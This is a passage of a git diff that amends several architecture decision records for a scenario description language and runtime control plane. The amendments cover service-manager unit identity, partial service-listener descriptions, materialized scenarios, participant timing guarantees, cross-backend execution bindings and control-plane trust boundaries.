governed-vocabulary extension syntax. The field accepts the non-empty +ASCII HTTP token grammar up to 128 characters, without trimming malformed +input. Whole-field method variables are authoring-only alternatives and must +pass the same token and duplicate checks after substitution. + +Existing serialized uppercase built-ins remain stable. Lowercase and +mixed-case spellings of the nine historically admitted built-ins retain their +existing uppercase result as an explicit compatibility alias. All other valid +tokens, including `PROPFIND` and private tokens, retain exact case. Duplicate +method/path checks operate on the post-alias identities, so `get` and `GET` +collide while an extension token and a differently cased extension token do +not. + +This changes neither the HTTP/HTTPS-only proxy-upstream profile nor any +observation, authorization, capability, selected-operation, or backend +execution contract. Implementations must not add HTTP methods to the +controlled-vocabulary catalog, encode them as `x-:`, case-fold +extension methods, trim malformed input into a valid token, or make parser +acceptance imply backend support. See the focused +[issue #1298 architecture preflight](../../explain/reference/issue-1298-http-method-identity-preflight.md) +for the cross-cutting boundaries. diff --git a/docs/decisions/adrs/adr-035-service-manager-unit-state-runtime-surface.md b/docs/decisions/adrs/adr-035-service-manager-unit-state-runtime-surface.md index e679c68b1..a6034d75a 100644 --- a/docs/decisions/adrs/adr-035-service-manager-unit-state-runtime-surface.md +++ b/docs/decisions/adrs/adr-035-service-manager-unit-state-runtime-surface.md @@ -165,15 +165,37 @@ The security and validation gates are: ### 5. Keep the extensibility seam service-manager scoped The extension seam is the node-scoped service-manager unit inventory, -parameterized by manager kind and native unit identity. The next likely changes -are socket/timer/path units, unit dependency edges, restart policy details, -drop-in files, Windows service state, OpenRC, launchd, supervisord, and richer -links to filesystem/process/service evidence. - -Those should extend typed service-manager submodels and validators. Do not add -a protocol-agnostic `service_config` dictionary or make `ServicePort` carry -unit lifecycle state unless a separate decision introduces a broader service -configuration abstraction across multiple concrete protocols/managers. +parameterized by manager kind and native unit identity. A manager identity is +not proof that core SDL understands that manager's lifecycle state. Rich state +for a non-systemd manager uses an exact, admitted domain-profile definition; +it does not add an OpenRC, launchd, supervisord, or Windows-service catalog to +the core model. + +Do not add a protocol-agnostic `service_config` dictionary or make +`ServicePort` carry unit lifecycle state unless a separate decision introduces +a broader service configuration abstraction across multiple concrete +protocols/managers. + +### 6. Separate portable identity from the selected systemd state profile + +`unit_id` is the stable portable row identity and the keyed comparison field. +`unit_name` is optional native data: preserve an exact supplied name without +normalizing it, adding a suffix, or using it as the row key. A native name must +be concrete and whitespace-free. Only an explicitly selected `systemd` +manager applies the systemd suffix and lifecycle-state contract. + +The historical omitted-manager default remains readable as systemd +compatibility data, but omission is not an authored systemd choice. Presence +and inherited realization closure determine whether omitted manager, name, or +state leaves are delegated. Explicit `unknown`, omission, delegation, and an +exact private identity remain distinct. A private manager record may carry the +portable identity, native name, same-node service reference, unit-file path, +and description; it cannot use the flat systemd lifecycle or `ExecStart` +fields for non-default state. + +This distinction is descriptive only. A valid row does not prove unit-file +presence, process existence, listener exposure, successful execution, or live +service-manager access. ## Guardrails @@ -236,3 +258,9 @@ configuration abstraction across multiple concrete protocols/managers. - Capturing raw command lines, environment files, or journal output could leak secrets into examples, generated schemas, diagnostics, logs, snapshots, or audit records. + +## Amendments + +| Date | Commit/PR | Summary | +|------|-----------|---------| +| 2026-09-17 | #1297 | Separated portable unit identity/native names from the explicitly selected systemd state profile and preserved omission semantics. | diff --git a/docs/decisions/adrs/adr-043-runtime-service-listener-surface.md b/docs/decisions/adrs/adr-043-runtime-service-listener-surface.md index 2629c430d..2073df751 100644 --- a/docs/decisions/adrs/adr-043-runtime-service-listener-surface.md +++ b/docs/decisions/adrs/adr-043-runtime-service-listener-surface.md @@ -58,11 +58,13 @@ same thing. ### 1. Model generic service listeners under node runtime Add `Node.runtime.service_listeners` as optional observed runtime inventory. -Each listener has a stable `listener_id`, transport protocol, port or Unix -socket path, bind address and/or interface, address family, listener scope, -optional same-node service reference, optional process owner reference, typed -published-port correlation refs, readiness/probe evidence, provenance, and -evidence refs. +Each listener has a stable `listener_id` and may carry transport protocol, port +or Unix socket path, bind address and/or interface, address family, listener +scope, optional same-node service reference, optional process owner reference, +typed published-port correlation refs, readiness/probe evidence, provenance, +and evidence refs. The inventory admits truthful partial descriptions; stable +identity does not imply that a complete bind endpoint has been observed or +selected. The owning node is implicit from the enclosing node. The surface is observed runtime state; it must not mutate `Node.services`, `runtime.network`, source @@ -105,24 +107,63 @@ Named-reference validation and module-import alias rewriting recognize that shape so relationships and composed scenarios cannot silently point at stale or un-namespaced listener records. +### 5. Separate description validity from complete endpoint admission + +Base listener validation rejects contradictions in supplied facts, not missing +knowledge. Port bounds, stable identity, duplicate rejection, incompatible +supplied Unix/network shapes, concrete address-family/scope contradictions, and +concrete reference integrity remain binding. A partial TCP listener need not +name an address or interface, a partial Unix listener need not name its socket +path, and an unknown, other, variable, or governed private transport must not be +classified as a network endpoint merely because it is not the core `unix` +token. + +Missing, explicitly empty, unknown, and concrete values remain distinct. +Source-preserving serialization uses field presence and does not materialize an +omitted field. For compatibility, the historical omitted `protocol` default is +still `tcp` in an instantiated artifact; instantiation provenance and recursive +constraint origin must retain that it was a default rather than an authored or +observed fact. An instantiated default must not erase an exact authored child, +close an inherited open scope, or become evidence that TCP was observed. + +An inherited open scope may let an admitted backend select an omitted bind +choice while every supplied descendant, such as an exact port, remains binding. +When an operation or coverage-qualified effective-listener claim truly requires +a complete endpoint, enforce that requirement at the existing owner: recursive +realization authority plus backend preparation and the backend's installed +`validate` semantics before apply, or coverage-aware description assessment for +a complete report. The canonical `service-listeners` observed validator remains +a shape, contradiction, and safe-projection gate; partial observations must not +be rejected merely for being partial. Do not put an operational precondition +back into general SDL parsing. A partial record grants no socket access, +service authority, host publication, observation, retention, or export. + ## Security and Validation Gates - Parser/model gate: listener ids are concrete stable symbols, not mapping keys or `${var}` placeholders. - SDL model gate: duplicate listener ids in a node runtime block are rejected. -- Shape gate: network listeners require a port and address or interface; Unix - socket listeners require `socket_path` and must not set a port or address. +- Shape gate: partial descriptions may omit endpoint fields. Supplied + Unix/network fields must remain mutually compatible; port bounds and field + shapes remain enforced. - Scope gate: concrete IP/socket facts must not contradict address family or listener scope. -- Semantic validation gate: same-node service refs resolve and concrete - service/listener port+protocol values match. +- Semantic validation gate: same-node service refs resolve and supplied known + service/listener port+protocol values match. Missing or unknown listener + values defer agreement; a governed private identity is concrete and binding. - Process-reference gate: `process_ref` resolves to a same-node runtime process name or PID when set. - Published-port correlation gate: `published_port_refs[]` entries resolve to - `runtime.network.published_ports[]` and match the listener's container-side - port/protocol. -- Contract/schema gate: published JSON Schemas are generated from Python model - sources; generated schemas are not edited by hand. + `runtime.network.published_ports[]`; they match supplied known listener + container-side port/protocol facts without inventing omitted ones. +- Realization/admission gate: reuse recursive realization constraints, + `service-listeners` projection, selected backend preparation, installed + backend validation, and coverage-aware effective-observation assessment. + Shape admission alone never proves endpoint completeness, and partial + coverage remains valid without satisfying a complete-report claim. +- Contract/schema gate: published JSON Schemas under `contracts/schemas/` are + the governed authority. Keep the reference model/schema bundle identical and + update only affected schema-publication records when the contract changes. - Evidence gate: readiness probes, process names, scanner outputs, and native payloads remain evidence or bounded text. Do not store credentials, bearer tokens, raw secret probe headers, or raw backend inspect blobs in this @@ -136,6 +177,12 @@ or un-namespaced listener records. - Do not infer host-public exposure from a wildcard address inside a container. - Do not treat Nmap output alone as proof of local bind address or owning process. +- Do not treat omission, an empty value, `unknown`, a variable, and a governed + private identity as interchangeable. +- Do not replace an omitted bind with `0.0.0.0`, `::`, a port, interface, + socket path, or a compulsory profile/catalog entry. +- Do not make parser acceptance satisfy a selected operation's endpoint, + access, publication, or verification prerequisites. - Do not make uniqueness only `(protocol, port)`: IPv4/IPv6, wildcard, loopback, interface-specific, and Unix socket listeners can coexist. - Do not add backend-specific raw Docker, Kubernetes, systemd, scanner, or @@ -150,6 +197,12 @@ or un-namespaced listener records. - Redesigning process inventory, host firewall policy, published-port semantics, runtime snapshots, control-plane APIs, persistence, logging, or workflow semantics. +- Loosening `RuntimeSshServer.service`. ADR-031 deliberately models an sshd + daemon-policy record bound to an owning same-node service, not a generic + partial endpoint observation; broader partial SSH authoring requires its own + contract decision. +- Adding a listener profile catalog, backend capture adapter, automatic socket + probe, or new observation/retention/export demand. - Requiring existing inventories that only use `Node.services[]` to change. ## Consequences @@ -158,6 +211,9 @@ or un-namespaced listener records. - ACES can encode generic TCP/UDP/SCTP and Unix-socket listener facts without free-text-only semantics. +- Sparse listener knowledge can round-trip without fabricated endpoint facts, + while selected complete endpoints remain subject to operation-specific + admission. - Local-only, wildcard, network-facing, and node-local listeners are distinguishable. - APTL's MISP inventory can record the nginx, supervisord, local runtime, and @@ -194,3 +250,9 @@ or un-namespaced listener records. - [Nmap XML output](https://nmap.org/book/output-formats-xml-output.html). - [OpenTelemetry semantic conventions for attributes](https://opentelemetry.io/docs/specs/semconv/attributes-registry/server/). - [Open Cybersecurity Schema Framework](https://schema.ocsf.io/). + +## Amendments + +| Date | Commit/PR | Summary | +|------|-----------|---------| +| 2026-09-17 | #1299 | Separated partial listener descriptions from complete endpoint admission, preserved presence/default provenance, and retained the narrower ADR-031 SSH service binding. | diff --git a/docs/decisions/adrs/adr-066-observability-evidence-plane-separation.md b/docs/decisions/adrs/adr-066-observability-evidence-plane-separation.md index 4ecd84615..56664960e 100644 --- a/docs/decisions/adrs/adr-066-observability-evidence-plane-separation.md +++ b/docs/decisions/adrs/adr-066-observability-evidence-plane-separation.md @@ -138,6 +138,17 @@ runtime, evidence, or provenance carriers. It must not hide in `RuntimeSnapshot.metadata`, evaluator details, diagnostics, audit blobs, backend DTOs, or raw logs. +Issue #1242 adds an independent author-permission boundary in +[`augmentation_scope`](../../../specs/sdl/augmentation-scope.md). Omission means +open. A closed default would require authors to anticipate and authorize every +backend addition, imposing a large, unexpected burden; restrictions are therefore +explicit opt-ins, also preserving compatibility. Node/concern closures may not +be widened by realization delegation, observation demand, import composition, +or a later attestation. A producer that needs a forbidden in-world effect to +satisfy a requirement must refuse before materialization, identifying the +requirement and effect. Permission does not replace any visibility, +comparability, or evidence obligation above. + ### 7. Forwarding-agent ownership does not collapse the planes A forwarding agent marked `system_under_test` remains scenario-native @@ -254,3 +265,4 @@ participant-visible, or comparability-relevant. |------|-----------|---------| | 2026-06-23 | #335 | Implemented SEM-225 run-level augmentation disclosures in `experiment-run-v1`, including separate environment-visible, participant-visible, and comparability-relevant validation. | | 2026-08-01 | #1043 | Separated forwarding-agent ownership, realization corroboration, evidence binding, and operational behavior claims. | +| 2026-09-16 | #1242 | Added binding open-by-default augmentation scope, explicit author restrictions, pre-materialization refusal, and the author-burden rationale. | diff --git a/docs/decisions/adrs/adr-078-closed-sdl-phase-contracts-and-portable-derivation-evidence.md b/docs/decisions/adrs/adr-078-closed-sdl-phase-contracts-and-portable-derivation-evidence.md index c18322dbc..6ca022446 100644 --- a/docs/decisions/adrs/adr-078-closed-sdl-phase-contracts-and-portable-derivation-evidence.md +++ b/docs/decisions/adrs/adr-078-closed-sdl-phase-contracts-and-portable-derivation-evidence.md @@ -48,6 +48,7 @@ NormalizedAuthoring = C + {module, imports, variables} ExpandedAuthoring = C + {variables, expansion_provenance} Instantiated = C + {instantiation_provenance} Snapshot = {profile, scenario: Instantiated} +Materialized = C + {materialization_provenance} ``` The sets are exact. A field not shown for a phase is forbidden, including an @@ -66,7 +67,9 @@ type. resolver-produced trust context and exists only between composition and final instantiation. The two public derived contracts are `instantiated-scenario-v1` and -`instantiated-scenario-snapshot-v1`. +`instantiated-scenario-snapshot-v1`. The descriptive public phase added by +#1241 is `materialized-scenario-v1`; it shares the common scenario vocabulary +but has no authoring or instantiation machinery. ### 2. Make phase transitions partial and fail closed @@ -195,6 +198,27 @@ not a second raw parameter map. ## Lineage And Limits +### Post-materialization description amendment (#1241) + +`MaterializedScenario` is accepted by the ordinary bounded SDL parser and +semantic validator, including qualified source identities. Its shared compiler +and planner produce inspection-only plans. No implicit transition turns it into +executable author intent. Required materialization provenance binds the source, +producer/configuration, plan, operation and predecessor; exact member differences +and instance bindings describe additions and changes without forging source +instantiation history. `raes-sdl-materialized/v1` is its separate canonical +profile. The original realization-authority and prepared-membership gates remain +binding; disclosure cannot excuse a violation. + +Negotiated successful materialization includes even no-additions descriptions. +Runtime admission preserves a typed result and protected immutable SDL bytes in +the existing run archive. The distinct `materialization-attestation` reference +never replaces the run's original `scenario_snapshot_ref`. File publication +precedes durable references; a failure retains cleanup inventory and does not +authorize replay. This is safe operational provenance, not an implicit request +for observation, evidence capture or participant access. The normative details +are in [materialization-attestation.md](../../../specs/sdl/materialization-attestation.md). + The separation of operations by object state is informed by Strom and Yemini's [typestate](https://doi.org/10.1109/TSE.1986.6312929) work. ACES adopts the design lesson of distinct state-indexed operation surfaces, not its compile-time @@ -262,3 +286,4 @@ The FM2 evidence consists of: | Date | Commit/PR | Summary | |------|-----------|---------| | 2026-07-12 | #724 | Clarified that required instantiation provenance remains validated artifact identity metadata but is excluded from realization-envelope child-dimension enumeration. | +| 2026-09-14 | #1241 | Added the closed descriptive materialized SDL phase, execution-bound provenance and distinct protected archival identity without changing original realization authority. | diff --git a/docs/decisions/adrs/adr-092-autonomous-benign-participants-under-shared-time.md b/docs/decisions/adrs/adr-092-autonomous-benign-participants-under-shared-time.md index 190a0325d..12470dfeb 100644 --- a/docs/decisions/adrs/adr-092-autonomous-benign-participants-under-shared-time.md +++ b/docs/decisions/adrs/adr-092-autonomous-benign-participants-under-shared-time.md @@ -67,8 +67,10 @@ non-negative, and stepped cadence points must be reachable from `step_ticks`. RuntimeManager owns automatic wall pacing for real-time and dilated policies only when the clock declares runtime authority. It rechecks clock state after every wait and does not relinquish an active driver thread during lifecycle -replacement. Externally paced autonomous policies fail closed until ACES -defines a portable backend transition-notification contract. +replacement. Externally paced and backend-owned wall-paced policies remain +valid SDL. The reference runtime rejects their execution at admission because +it has no corresponding transition driver. This limitation does not prescribe +another backend's scheduling architecture. The scheduler adds no private clock, timestamp authority, or causality claim. Every admitted action carries all bound temporal contexts into append-only @@ -180,8 +182,8 @@ implementation, constraints, evidence, timeout/retry policy, and finite attempt/in-flight bounds. Separate action and target sets are discovery indexes; they do not authorize their Cartesian product. -The participant runtime exposes `participant-execution-control/v1` lifecycle -requests for `start`, `pause`, `resume`, bounded `drain`, `reset`, and +When claimed, `participant-execution-control/v1` exposes lifecycle +requests for `start`, `pause`, `resume`, bounded `drain`, `reset`, or `teardown`. Requests carry the expected execution generation. Reset increments that generation; work admitted under a stale generation is rejected before native execution, and a native completion whose generation changed is @@ -206,12 +208,50 @@ Shared-clock pause/resume controls execution admission, shared-clock reset advances the generation, and loss of wall pacing degrades and pauses the execution service with an explicit deviation/evidence reference. -Manifest support requires the complete lifecycle action set, exact execution -bindings, and a concurrent capacity of at least two. Runtime-target -registration requires executable binding, lifecycle/readback, and bounded -batch methods. Conditional live conformance drives two native actions and the -full lifecycle; a declaration with methods but no typed outcome or lifecycle -evidence does not pass. +There is no universal backend feature baseline. Syntax and semantic validity +are independent of backend support. Admission rejects an insufficient +scenario/backend pairing, not the scenario or backend. Exact execution +bindings are required when autonomous execution is claimed; lifecycle controls +and concurrency are independent, optional capabilities. Serial execution may +have capacity one and no native lifecycle controls. Registration and conformance +require only the protocols corresponding to claimed capabilities. Conformance +probes each claimed control from its documented precondition; it does not call +unclaimed controls to set up another probe. Declarations alone do not prove +native execution, lifecycle effects, or temporal realization. + +### 9. Bind bounded temporal guarantees explicitly + +`participant-shared-time/v1` binds an action-local deadline or dwell contract +to an existing shared clock and constraint. It does not reinterpret legacy +`duration_ref`, `window_ref`, or clock-description strings. Existing autonomous +v1/v2/v3 policy meanings and unextended policy digests remain unchanged. + +A deadline names one event: start, completion (`end`), observation, or effect. +The selected event must occur no later than the declared superdense coordinate. +Submission is not completion evidence. A dwell requires continuous evidence +that a named action precondition held throughout a nonempty half-open window +before dispatch. Its observation boundary and condition are explicit; elapsed +time, cooldowns, gaps, or endpoint samples do not establish continuous coverage. + +One backend execution-binding offer must cover the whole requested temporal +combination by exact contract digests. The processor never combines incompatible +offers or weakens evidence requirements. These bounds describe this profile, +not the maximum behavior a backend may offer through other admitted semantics. + +The runtime rejects an already-impossible deadline or unproven dwell before +native dispatch. After execution it records the native outcome separately from +each guarantee's `met`, `missed`, or `indeterminate` assessment. A missed or +indeterminate guarantee does not authorize retry, cancellation, or rollback. +Native effects may remain even when portable completion is rejected. + +Bounds are interpreted within each current shared-clock segment. Reset/replay +creates a fresh action identity, episode, segment, and execution generation; +old evidence cannot satisfy the new occurrence. A pause crossing a dwell +interval invalidates that interval's coverage. Typed contexts, evidence, +assessments, and shared-clock history survive persistence and are checked on +readback. Failed due work does not rewind a successful clock transition or erase +consumed attempts. No second clock, continuous-monitoring service, or general +long-running action engine is introduced. ## Consequences @@ -251,3 +291,4 @@ evidence does not pass. | 2026-07-26 | #897 | Kept v1 stable and governed richer within-run timing, weighted selection, lifecycle state, and provenance as a versioned autonomous-execution profile. | | 2026-07-26 | #898 | Added exact native action-to-target bindings, bounded concurrent execution, generation-fenced lifecycle control, typed service readback, and conditional live conformance. | | 2026-08-01 | #213 | Identified the existing autonomous-participant policy and execution path as the implementation of ACT-605 baseline behavior profiles. | +| 2026-09-21 | #216 | Made backend features conditional and added explicit bounded deadline/dwell admission, evidence, and lifecycle rules. | diff --git a/docs/decisions/adrs/adr-100-participant-crossing-bisimulation.md b/docs/decisions/adrs/adr-100-participant-crossing-bisimulation.md index fd306d893..640e6c9d9 100644 --- a/docs/decisions/adrs/adr-100-participant-crossing-bisimulation.md +++ b/docs/decisions/adrs/adr-100-participant-crossing-bisimulation.md @@ -54,16 +54,22 @@ runtime mapping authorities. The first target is the complete finite abstract SEM-230 participant-crossing LTS versus an independently derived formal concrete API-423/RUN-319 crossing-kernel LTS. The exact theorem profile is -`participant-crossing-dpbb-finite-v1@rev1`. +`participant-crossing-dpbb-finite-v1@rev2`. The theorem to be machine-checked by downstream work is: > The declared initial states of -> `sem-230-participant-crossing-abstract@rev1` and -> `api-423-run-319-crossing-kernel@rev1` are +> `sem-230-participant-crossing-abstract@rev2` and +> `api-423-run-319-crossing-kernel@rev2` are > divergence-preserving branching bisimilar under > `participant-crossing-projection@rev1`, over the complete reachable carrier -> of `participant-crossing-dpbb-finite-v1@rev1`. +> of `participant-crossing-dpbb-finite-v1@rev2`. + +The #971 refinement closes request reuse, history advancement, event order, +and crossing completion in the [executable model authority](../../../specs/formal/participant-semantics/participant-crossing-models.md). +Rev1 remains the historical design sketch; downstream #972–#976 use rev2 of +both models and the profile, retaining projection rev1 and taxonomy rev8. +No rev1 executable bundle or equivalence result was published. This is a theorem about two formal systems. A separate runtime-realization claim must show that the live reference runtime maps to the concrete formal @@ -102,6 +108,17 @@ fairness, true concurrency, and partial order are excluded. The carrier is the complete reachable fixed point of the declared finite transition schemas, not a depth limit or sample. +One fresh operation uses the sole request identity once and retains its input. +Same-cut retries repeat the formal outcome protocol without another logical +commit; later-cut retries reject. One atomic result advances history h0 to h1; +h2/h3 are declared but unreachable. No identity recycling or head saturation +is admitted. Multiple fresh operations require the separate #1395 profile. +Transformation and declassification emit permit, change, delivery, then +observation. Refusal completes on its visible abstract decision. Terminal +means completion of one crossing, with retry/cut actions still enabled, rather +than global LTS termination. These are offline model semantics: no runtime +retry change, mandatory author proof work, or request-time checker is added. + The visible alphabet includes request, permit, deny, unsupported, transformation, declassification, delivery, observation, later-cut replay rejection, and policy-cut advance. A redacted occurrence remains visible. @@ -234,3 +251,9 @@ program publishes its evidence. - R. van Glabbeek, B. Luttik, and N. Trčka, “Branching Bisimilarity with Explicit Divergence,” *Fundamenta Informaticae* 93(4), 2009, [doi:10.3233/FI-2009-109](https://doi.org/10.3233/FI-2009-109). + +## Amendments + +| Date | Commit/PR | Summary | +|------|-----------|---------| +| 2026-09-27 | #971 | Select executable profile/model rev2 and close the approved single-operation retry, history, ordering, and completion semantics; retain projection rev1 and separate runtime mapping. | diff --git a/docs/decisions/adrs/adr-101-adversarial-participant-flow-control.md b/docs/decisions/adrs/adr-101-adversarial-participant-flow-control.md index 4fc05fdae..7fbbc19fe 100644 --- a/docs/decisions/adrs/adr-101-adversarial-participant-flow-control.md +++ b/docs/decisions/adrs/adr-101-adversarial-participant-flow-control.md @@ -65,6 +65,23 @@ with participant-neutral authority. ## Decision +### Amendment: IFC profile variability and publication (#1354) + +[ADR-114](adr-114-ifc-profile-variability-and-publication.md) and +[IFC-01–IFC-07](../../../specs/formal/participant-semantics/ifc-profile-variability.md) +separate authored owner/guarantee requirements, published profile meaning and +backend realization. Governed finite publication remains the extension route; +no new owner syntax, policy interpreter or plugin facility is introduced. +Independent obligations, conservative propagation, per-obligation release +authority and immutable provenance remain mandatory. CA-04 governs admission; +losing an admitted guarantee blocks the affected release. The published v1 +vocabulary and non-exact-support rejection remain unchanged. + +The amendment's [migration contract](../../migration/ifc-profile-variability.md) +preserves historical profile/release interpretation and requires explicit +consumer support before owner-aware or revised bounded-support claims. This +semantic publication does not implement those consumers or certify a backend. + ### 1. Add two DRAFT owners SEM-233, **Adversarial Participant Boundary Information-Flow Control**, @@ -287,6 +304,9 @@ evidence records retain their own dates and scope. | Date | Commit/PR | Summary | | --- | --- | --- | | 2026-09-06 | #1068 | Clarify modular composition, governed effects and the declared-world boundary under ADR-108 while preserving the security profile and runtime interpreter non-goal. | +| 2026-09-23 | #1354 | Define IFC profile variability, requirement-relative support, per-obligation release and immutable migration under ADR-114. | +| 2026-09-24 | #1383 | Rebind the #1354 publication reference to ADR-114 after ADR-113 was assigned to #1350; semantics are unchanged. | + ## References diff --git a/docs/decisions/adrs/adr-102-mixed-cross-backend-participant-control.md b/docs/decisions/adrs/adr-102-mixed-cross-backend-participant-control.md index 597004dfc..d55b77ba0 100644 --- a/docs/decisions/adrs/adr-102-mixed-cross-backend-participant-control.md +++ b/docs/decisions/adrs/adr-102-mixed-cross-backend-participant-control.md @@ -284,6 +284,66 @@ distinct. No result is promoted between them silently. - #1018 executes ASR-537 after #1015, #1016, and #1017. - #1019 reconciles claims after #1016, #1017, and #1018. +### 13. Executable mapping and time amendment (#1355, 2026-09-24) + +The DRAFT statuses in section 1 record the original #813 decision; SEM-234 is +now ACTIVE. The published `sem-234/rev1` profile remains a sealed statement of +intent. Its edge, time, loss, and evidence references are not executable +services. An admitted mixed action now requires an installed, revision-pinned +`MixedEdgeExecutionBinding` for its exact directed edge. The binding joins the +admitted route and time mapping to one source action subject, one destination +subject, an executable mapper, a time service, and a bridge. The current +reference runtime requires both compiled action addresses to equal the +governed request and the destination provider's admitted action allocation. +The bridge may translate its pinned backend-native subject internally, but +the mapper cannot alter the portable request's participant identity, action, +authority, audience, terminal-outcome demand, or other governed fields. A +missing or mismatched binding refuses before a provider call. + +The control plane retains operation ownership and commits the RUN-310/API-423 +decision and exact provider attempt before the bridge runs. The bridge receives +the owning operation id and may call the selected provider once. The installed +time service reads the admitted two-clock state, provides a correlated order +grant, and reads back after execution. Mapping and timing evidence must satisfy +the admitted edge obligations. The current executable profile admits a proved +comparison within one clock segment; an incomparable or unproved relation +refuses. This uses shared time semantics and does not imply a common physical +clock, hard real-time synchronization, or physical-OT timing guarantees. + +Backend execution, destination delivery, and participant observation remain +separate facts. A correlated bridge execution report requires backend readback; +delivery additionally requires a destination receipt read through its own +installed service; observation additionally requires exact participant and +audience readback. The bridge result, a timestamp, an evidence reference, or +`ApplyResult.success` alone cannot create either later fact. An authorized +declared mapping loss appears only with the correlated execution report. A +known partial result or unresolved delivery is `INDETERMINATE` under the shared +operation lifecycle, retaining known evidence and blocking dependent work +until explicit resolution. Idempotent replay returns the original operation; +it never invokes the bridge again. + +A staged membership change requires an installed handoff binding with exact +source and destination native owners. Its admitted clock mapping receives a +correlated order grant and typed readback before transfer. A committed native +transfer must be followed by destination-owner and time readback at the +expected phase revision before the new phase and handoff fact commit. Failed +or stale transfer with old-owner readback keeps the prior phase; pending or +uncertain transfer is `INDETERMINATE` and blocks dependent effects. The store +claims phase transitions and other mixed effects under one run-scoped +conflict boundary before external calls. Native ownership remains distinct +from the RUN-310 acting controller and disclosure authority. + +Compatibility is fail closed. Existing `sem-234/rev1` plans and historical +reference-only records remain readable with their original meaning; their +mapping refs, success booleans, and timestamps are not reinterpreted as +executed delivery, observation, or handoff. Pure paths continue under their +existing operation contract, but also make no unsupported delivery or +observation claim. This amendment does not change a published schema; the +executable services are trusted runtime bindings to the already admitted +profile. Another bridge implementation can use the same binding seam after +provider-local capability and conformance admission. It receives no authority +from its name, installation, or manifest claim alone. + ## Consequences RAES can represent both backend substitution and mixed composition without @@ -321,3 +381,9 @@ problem and leaves a versioned seam for later work. - [Architecture preflight](../issue-813-cross-backend-participant-control-preflight.md) - [Research and implementation program](../../research/cross-backend-participant-control/) - [SEM-234 and ASR-537 formal design](../../../specs/formal/participant-semantics/cross-backend-participant-control.md) + +## Amendments + +| Date | Commit/PR | Summary | +| --- | --- | --- | +| 2026-09-24 | #1355 | Required executable mixed mappings, bridge and time coordination, independent stage readback, and native staged handoff while preserving historical reference-only meaning. | diff --git a/docs/decisions/adrs/adr-104-runtime-control-plane-architecture.md b/docs/decisions/adrs/adr-104-runtime-control-plane-architecture.md index 3aa150c73..b836fcdd2 100644 --- a/docs/decisions/adrs/adr-104-runtime-control-plane-architecture.md +++ b/docs/decisions/adrs/adr-104-runtime-control-plane-architecture.md @@ -61,7 +61,9 @@ must not silently promise the strongest one. ### 1. The control plane is a contract with profiled implementations -`RuntimeControlPlane` names a portable contract — operation submission, +RAE is the shared product runtime that drives backends through execution; +concrete backend realization does not require a separate scenario runtime per +backend. `RuntimeControlPlane` names a portable contract — operation submission, idempotent receipts, snapshot access, participant transitions, audit — that conforming implementations provide under declared operating profiles. RAES ships reference implementations; it does not define one universal deployment @@ -106,7 +108,8 @@ rather than inferring success or absence. ### 4. Operations are durable work with atomic terminal commits An operation's lifecycle is recorded before its effects: the claim that an -operation is running is durable before the backend is invoked, and the +operation is running is authoritative before the backend is invoked (durable +in P1/P2, in-process ordering only in P0), and the terminal transition commits the resulting snapshot, the terminal operation record, and an actor-bound audit event in one store transaction, extending the pattern participant transitions already use to every operation. This applies @@ -115,12 +118,19 @@ reconciliation, rejected and pre-computed operation records, participant actions, and participant crossings; none may retain an independent persistence workflow. After process loss, startup reconciliation classifies each non-terminal operation as -effect-absent (safe to fail closed), effect-applied (state is advanced from -observation), or indeterminate — an explicit terminal outcome with a stable +effect-absent (safe to fail closed only when no late effect remains possible), +effect-applied (state is advanced from validated observation), or indeterminate +— an explicit terminal outcome with a stable diagnostic that requires operator or embedder action. Interrupted work is -never replayed automatically, and retained idempotency claims keep client +never replayed automatically by recovery, and retained idempotency claims keep client retries from blindly re-invoking the backend. +Known partial effects require validated residual state and the admitted outcome +contract; unknown effects or unproved cessation are indeterminate. An exception, +cancel acknowledgement or retained predecessor snapshot proves no effect +absence. The supervision supplement in section 10 defines these distinctions +without adding persisted operation states or changing published carriers here. + ### 5. Concurrency control is ownership-first Exactly one writer owns a store at a time in P1 and P2, admitted through a @@ -128,8 +138,13 @@ store lease. Snapshot commits carry a revision and commit by compare-and-swap, so a stale writer fails closed instead of overwriting. Idempotency keys are unique claims scoped by store, immutable actor, and operation kind in the authoritative store, not cache entries. Within a -process, one mutation authority serializes every control-plane mutation path; +process, one mutation authority serializes every control-plane state mutation; path-local participant locks and the HTTP adapter lock remain subordinate. +Under section 10's design, external execution retains a conflicting-effect +reservation while releasing the short state permit needed by supervision. +This requires implementation; the current logical permit still spans external +calls. A deadline cannot release that reservation on the assumption that a +worker has stopped, and revision CAS does not fence external effects. `RuntimeManager` is a separate direct-execution facade and does not coordinate with a control plane aimed at the same backend. Across processes, admission is the lease, not advisory locking. @@ -146,6 +161,12 @@ coordination providers implement the store, lease, and clock contracts; the control plane owns operation bookkeeping, receipts, snapshots, transitions, and audit. +The P1 offline store-maintenance command is a narrow operator exception to +ADR-036's CLI import boundary: `raes_cli` may call only the closed public +`raes_runtime.control_plane_store_maintenance` interface for scope-bound +check, backup, and restore. No other CLI-to-runtime import is authorized; +SQLite validation, migration, and publication stay within the runtime owner. + ### 7. Identity, authorization, and isolation P0 and P1 trust the embedding process to authenticate its caller, but the @@ -157,6 +178,8 @@ binds the actor's role and subject scope to the selected target and any participant or operation reference before core mutation or receipt disclosure. The accepted operation persists the resulting actor and authorization scope. +An independently authorized supervisor records its own actor and scoped request +without replacing that original context or gaining wider effect authority. All later status, retry, reconciliation, resolution, and audit paths use that immutable context. A duplicate idempotency claim can return a receipt only to the same authorized actor and scope. A successful or failed terminal mutation @@ -172,6 +195,26 @@ tenants. Multitenancy, cross-target stores, cross-run scheduling, and shared authorization namespaces are P3 nonclaims requiring a future ADR and explicit coordination, fencing, cache-coherence, and tenant-isolation contracts. +Participant-facing clients use a trusted host application, local or +organizational, which embeds P0/P1 SDK calls or uses the optional P2 HTTP +adapter. For SDK use, no RAES HTTP credential exists: direct Python methods +have no P2 role gate, `get_snapshot()` returns the full snapshot without a +caller identity, and the host keeps the control-plane object and store private. +For P2, deployment-configured bearer tokens or verified proxy identities are +privileged: an identity allowed to retrieve a governed participant projection +can also read the full snapshot, so a participant/audience binding does not +make that P2 identity safe to delegate. The host binds its caller to the +selected target/run, participant, exact episode, audience and operation, and +releases only a permitted projection after the API-423/RUN-319 crossing. +Participant-facing deployments require a configured crossing resolver; the +current legacy projection path without one can still return a view but has no +crossing assurance. Raw control-plane outputs stay inside the trusted host. +An organizational host owns organizational authentication and entitlement; a +local host applies its own caller boundary. Authentication principals do not +add SDL participants or roles. The accepted route, authority, and deployment +matrix is the +[issue #1356 trust-boundary decision](../issue-1356-control-plane-participant-access-preflight.md). + ### 8. Disposition of the incumbent surfaces `RuntimeControlPlane`, the store protocol, the in-memory 